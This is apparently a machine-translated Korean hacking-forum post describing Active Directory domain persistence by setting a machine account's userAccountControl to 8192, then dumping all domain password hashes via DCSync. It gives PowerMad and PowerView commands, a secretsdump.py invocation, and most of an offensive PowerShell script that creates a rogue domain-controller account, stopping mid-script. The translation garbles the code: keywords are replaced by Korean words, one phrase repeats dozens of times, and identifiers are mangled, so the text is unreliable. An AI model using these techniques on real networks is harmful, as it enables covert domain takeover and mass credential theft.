KoreanHackerTeam
Moderator
0x00 前言
머신 계정은 많은 기술에 의해 허가 상승 및 수평 이동을 위해 사용되지만 도메인 허가 지속성이 기계 계정을 통해 설정되는 경우도 있습니다. 여기에는 권한이있는 그룹 (예 : 도메인 관리자 그룹)에 임의의 기계 계정을 추가하거나 기계 계정의 userAccountControl 속성을 도메인 컨트롤러로 변환하는 것이 포함됩니다. 두 경우 모두 공격자는 DCSYNC 등을 통해 모든 도메인 해시를 내보내는 등 기계 계정을 통해 권한있는 작업을 인증하고 수행 할 수 있습니다.@Sean Metcalf는 최초로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개적으로 공개하여 기본 사용자 계정을 도메인 관리자 그룹에 추가하는 것이다. 2020 년에 @StealthBits는 《SERVER (UN)TRUST ACCOUNT》이라는 기사를 게시하여 기계 계정에서 Active Directory를 복제하는 방법과 관련된 또 다른 지속성 기술을 보여주었습니다. DCSync 기술을 통한 덤프 비밀번호 해싱을 덤프하는 것은 새로운 것이 아니며 관련 작업이 적절한 경고를 유발할 수 있지만, 기계 계정을 사용하여 동일한 기술을 수행하면보다 은폐 된 목적을 달성 할 수 있습니다.
0x01 userAccountControl基础知识
Active Directory에서 userAccountControl은 각 계정에 필요한 속성입니다. 이 속성은 약간의 필드입니다. 다른 플래그 비트는 다른 사용자 정보를 나타냅니다. 이 속성의 값은 모든 플래그 비트 값의 합입니다.
다음 수치는 Microsoft의 공식 문서와 16 진수 및 소수점 값에 제공된 플래그입니다. 자세한 내용은 다음을 참조하십시오. userAccountControl 플래그를 사용하여 사용자 계정 속성을 조작하십시오.

userAccountControl에 Server_trust_account라는 플래그가 있으며, 이는0x2000이고 소수점 값은 8192이며 계정이 도메인 컨트롤러의 기계 계정임을 나타내는 데 사용됩니다. 기계 계정의 userAccountControl 속성에 Server_trust_Account 플래그 비트 세트가있는 경우 Active Directory는 계정의 기본 GroupID 속성을 도메인 컨트롤러 그룹의 RID로 설정해야합니다. 따라서 단순히 userAccountControl의 플래그 비트를 변경하여 도메인 컨트롤러 권한을 일반 도메인 멤버 머신에 부여 할 수 있습니다.
0x02 实验测试一
실제 전투에서 공격자는 userAccountControl 속성을 남용하여 일반 도메인 머신의 ID를 도메인 컨트롤러로 변경하고 DCSYNC 기술과 협력하여 도메인 지속성을 달성 할 수 있습니다. 특정 방법은 비교적 간단하며 기계 계정의 userAccountControl 속성 값을 8192로 설정하는 것입니다.(1) 도메인 컨트롤러에서 다음 명령을 실행하여 PowerMad를 통해 도메인에서 Pentest $라는 기계 계정을 생성하고 계정 비밀번호를 Passw0rd로 설정하십시오.
import-module. \ powermad.ps1# 기계 계정의 비밀번호를 설정합니다
$ password=convertTo -securestring 'passw0rd'-asplaintext -force
# New-Machineaccount 함수를 통해 기계 계정을 만듭니다
new -machineaccount -machineaccount 'pentest'-Password $ ($ password) -Domain 'pentest.com'-Domaincontroller 'dc01.pentest.com'-verbose

(2) PowerView.ps1을 통해 새로 추가 된 기계 계정 Pentest $를 쿼리하기 위해 다음 명령을 실행하십시오. 계정 Pentest $의 기본 그룹 ID (PrimaryGroupId)는 515입니다. 이것은 Domian Computers 그룹의 제거입니다. 이는 Pentest $가 여전히 아래 그림과 같이 현재 일반 도메인 멤버 머신임을 의미합니다.
import-module. \ powerView.ps1
get -netcomputer -Identity 'pentest' -단점 이름, PrimaryGroupId, userAccountControl

(3) 다음 명령을 실행하고 POWERVIEW.PS1을 통해 펜스트 $ 계정의 userAccountControl 속성 값을 8192로 설정합니다. 이는 아래와 같이 계정의 기본 그룹 ID를 516으로 변경합니다. 현재 Pentest $ 계정의 기본 그룹은 도메인 컨트롤러, 즉 도메인 컨트롤러 그룹으로 변경됩니다.
import-module. \ powerView.ps1
set -domainobject -Inditity 'pentest $'-set @{ 'userAccountControl'=8192} -verbose

아래 그림과 같이, Pentest $ 계정은 현재 이미 도메인 컨트롤러입니다.

(4) 필수 권한이 있고 계정 암호가 알려져 있기 때문에 도메인 사용자 해시는 그림과 같이 DCSYNC 작업을 실행하기 위해 일반 도메인 호스트에서 SecretSdump.py를 통해 직접 내보낼 수 있습니다.
Python3 SecretsDump.py pentest.com/pentest \$:[email protected] -Just -DC

위의 활용 프로세스에 따르면, 간단한 PowerShell 스크립트 NewDomainController.ps1이 작성되었습니다. 다음은 전체 코드 :입니다
기능 NewDomainController {
틀
.개요
이 스크립트는 도메인 지속성을 목적으로 도메인에 새 도메인 컨트롤러 계정을 만듭니다.
.설명
Active Directory에서 userAccountControl은 각 계정의 필수 속성입니다. 이 속성은 약간입니다
필드. 다른 플래그는 다른 사용자 정보를 나타냅니다. 이 속성의 값은 모두의 합입니다.
깃발. userAccountControl에는 server_trust_account라는 플래그가 있습니다.
소수점 값은 8192이며 계정이 도메인의 기계 계정임을 나타내는 데 사용됩니다.
제어 장치. 기계 계정의 userAccountControl 속성에 Server_trust_Account 비트가있는 경우,
Active Directory는 계정의 1 차 GroupID 속성을 도메인 컨트롤러 그룹의 RID로 설정해야합니다.
따라서 userAccountControl을 변경하여 도메인 컨트롤러 권한을 일반 도메인 멤버 머신에 부여하십시오.
.링크
.parameter 도메인
도메인 이름을 지정합니다. 생략하면 도메인 이름이 자동으로 얻어집니다.
.Parameter DomainController
도메인 컨트롤러의 FQDN을 지정합니다.
.parameter machineaccount
생성 할 기계 계정의 이름을 지정합니다.
.parameter 비밀번호
생성 할 기계 계정의 비밀번호를 지정합니다.
.outputs
출력은 콘솔에 표시됩니다
.notes
버전 : 0.1
author: Whoami
날짜 : 01/18/2022
.예
NewDainController -Machineaccount 'Pentest'-Password 'Passw0rd'-Domain 'pentest.com'-Domaincontroller 'dc01.pentest.com'
틀
파라 (
[매개 변수 (필수=$ false)]
[validatenotnullorEmpty ()]
[문자열] $ 도메인,
[매개 변수 (필수=$ false)]
[validatenotnullorEmpty ()]
[String] $ domaincontroller,
[매개 변수 (필수=$ false)]
[validatenotnullorEmpty ()]
[문자열] $ machineaccount,
[매개 변수 (필수=$ false)]
[validatenotnullorEmpty ()]
[문자열] $ 비밀번호
))
function formatstatus ([string] $ flag, [String] $ message) {
if ($ flag -eq '1') {
Write -Host '[+]'-foregroundColor:green -nonewline
쓰기 호스트 $ 메시지
} elseif ($ flag -eq '0') {
Write -Host '[ -]'-foregroundColor:red -nonewline
쓰기 호스트 $ 메시지
}
}
$ null=[System.Reflection.Assembly] :LoadWithPartialName ( 'System.DirectoryServices.Protocols')
if ($ password)
{
$ SecurePassword=$ 비밀번호 | ConvertTo -Securestring -asplaintext -force
$ passwordbstr=[system.runtime.interopservices.marshal] :securestringtobstr ($ securepassword)
$ passwordClearText=[System.Runtime.InterOpServices.Marshal]

$ passwordClearText=[System.Text.Encoding] :Unicode.getBytes ( '' ' + $ passwordClearText +' '')
}
if (! $ domaincontroller -또는! $ domain)
{
노력하다
{
$ currentDomain=[System.DirectoryServices.Activedirectory.Domain] :GetCurrentDomain ()
}
잡다
{
Formatstatus 0 '$ ($ _. Exception.Message)' '
던지다
}
if (! $ domaincontroller)
{
$ domaincontroller=$ currentDomain.pdcroleowner.name
FormatStatus 1 '도메인 컨트롤러 get get a domaincontroller'
}
if (! $ domain)
{
$ domain=$ currentDomain.name
$ domain=$ domain.tolower ()
Formatstatus 1 '도메인 get name: $ 도메인'
}
}
$ _machineaccount=$ machineaccount
if ($ machineaccount.endswith ( '$'))
{
$ SAMACCOUNTNAME=$ _MACHINEACCOUNT
$ _machineaccount=$ _machineaccount.substring (0, $ _ machineaccount.length -1)
}
또 다른
{
$ SAMACCOUNTNAME=$ _MACHINEACCOUNT + '$'
}
Formatstatus 1 'get samaccountname: $ samaccountname'
$ DistinguishedName='CN=$ _ MachineAcCount, CN=컴퓨터'
$ dc_array=$ domain.split ( '.')
foreach ($ dc in $ dc_array)
{
$ distinguishedName +=', dc=$ dc'
}
FormatStatus 1 'Get Get DistinguishedName: $ DistinguishishedName'
Formatstatus 1 '기계 계정 만들기 시작 $ machineaccount'
$ identifier=new-Object System.DirectoryServices.protocols.ldApdirectoryIntifier ($ domaincontroller, 389)
$ connection=new-Object System.DirectoryServices.protocols.ldapConnection ($ 식별자)
$ connection.sessionoptions.sealing=$ true
$ connection.sessionoptions.signing=$ true
$ connection.bind ()
$ request=new -Object -Typename System.DirectoryServices.protocols.addrequest
Formatstatus 1 '$ machineaccount 계정의 DistinguishedName 속성을 $ distinguishishedName으로 설정
$ request.DistinguishedName=$ DistinguishedName입니다
$ request.attributes.add ((new -Object 'System.DirectoryServices.Protocols.DirectoryAttribute'-ArgumentList 'ObjectClass', 'Computer'))) $ null
Formatstatus 1 '$ machineaccount 계정의 DistinguishedName 속성을 $ samaccountname으로 설정
$ request.attributes.add ((new -object 'system.directoryservices.protocols.directoryAttribute'-argumentList 'samaccountname', $ samaccountname)) $ null
Formatstatus 1 '$ machineaccount 계정의 userAccountControl 속성을 8192'로 설정하십시오.
$ request.attributes.add ((New -Object 'System.DirectoryServices.Protocols.DirectoryAttribute'-ArgumentList 'userAccountControl', '8192'))) $ null
Formatstatus 1 '$ machineaccount 계정의 dnshostname을 $ _machineaccount로 등록하십시오. $ domain'
$ request.attributes.add ((New -Object 'System.DirectoryServices.Protocols.DirectoryAttribute'-ArgumentList 'dnshostName', '$ _ MachineAccount. $ domain'))) $ null
FormatStatus 1 '$ machineaccount account: 호스트/$ _ machineaccount. $ domain, QuicedrictedKRBHost/$ _ machineAccount. $ domain'에 대한 SPN 등록 시작.
$ request.attributes.add ((New -Object 'System.DirectoryServices.Protocols.DirectoryAttribute'-ArgumentList 'ServicePrincipalName', 'host/$ _ machineaccount. $ domain. $ domain', 'QuicedrictedKrbHost/$ _ MachineAccount. $ domain', 'host/$ _ MachineAccount', 'QualitrictedKrbHost/$ _ machineAccount', 'machineccount/$ _)
Formatstatus 1 '$ machineaccount 계정의 비밀번호를 $ password로 설정하십시오'
$ request.attributes.add ((New -Object 'System.DirectoryServices.Protocols.directoryAttribute'-ArgumentList 'UnicoDepwd', $ passwordClearText)) $ null
노력하다
{
$ connection.sendRequest ($ 요청) $ null
Formatstatus 1 '머신 계정 작성 $ machineaccount 성공적으로'
}
잡다
{
Formatstatus 0 '$ ($ _. Exception.Message)' '
if ($ error_message -like '*예외 호출'1 'a로'sendRequest '를 호출합니다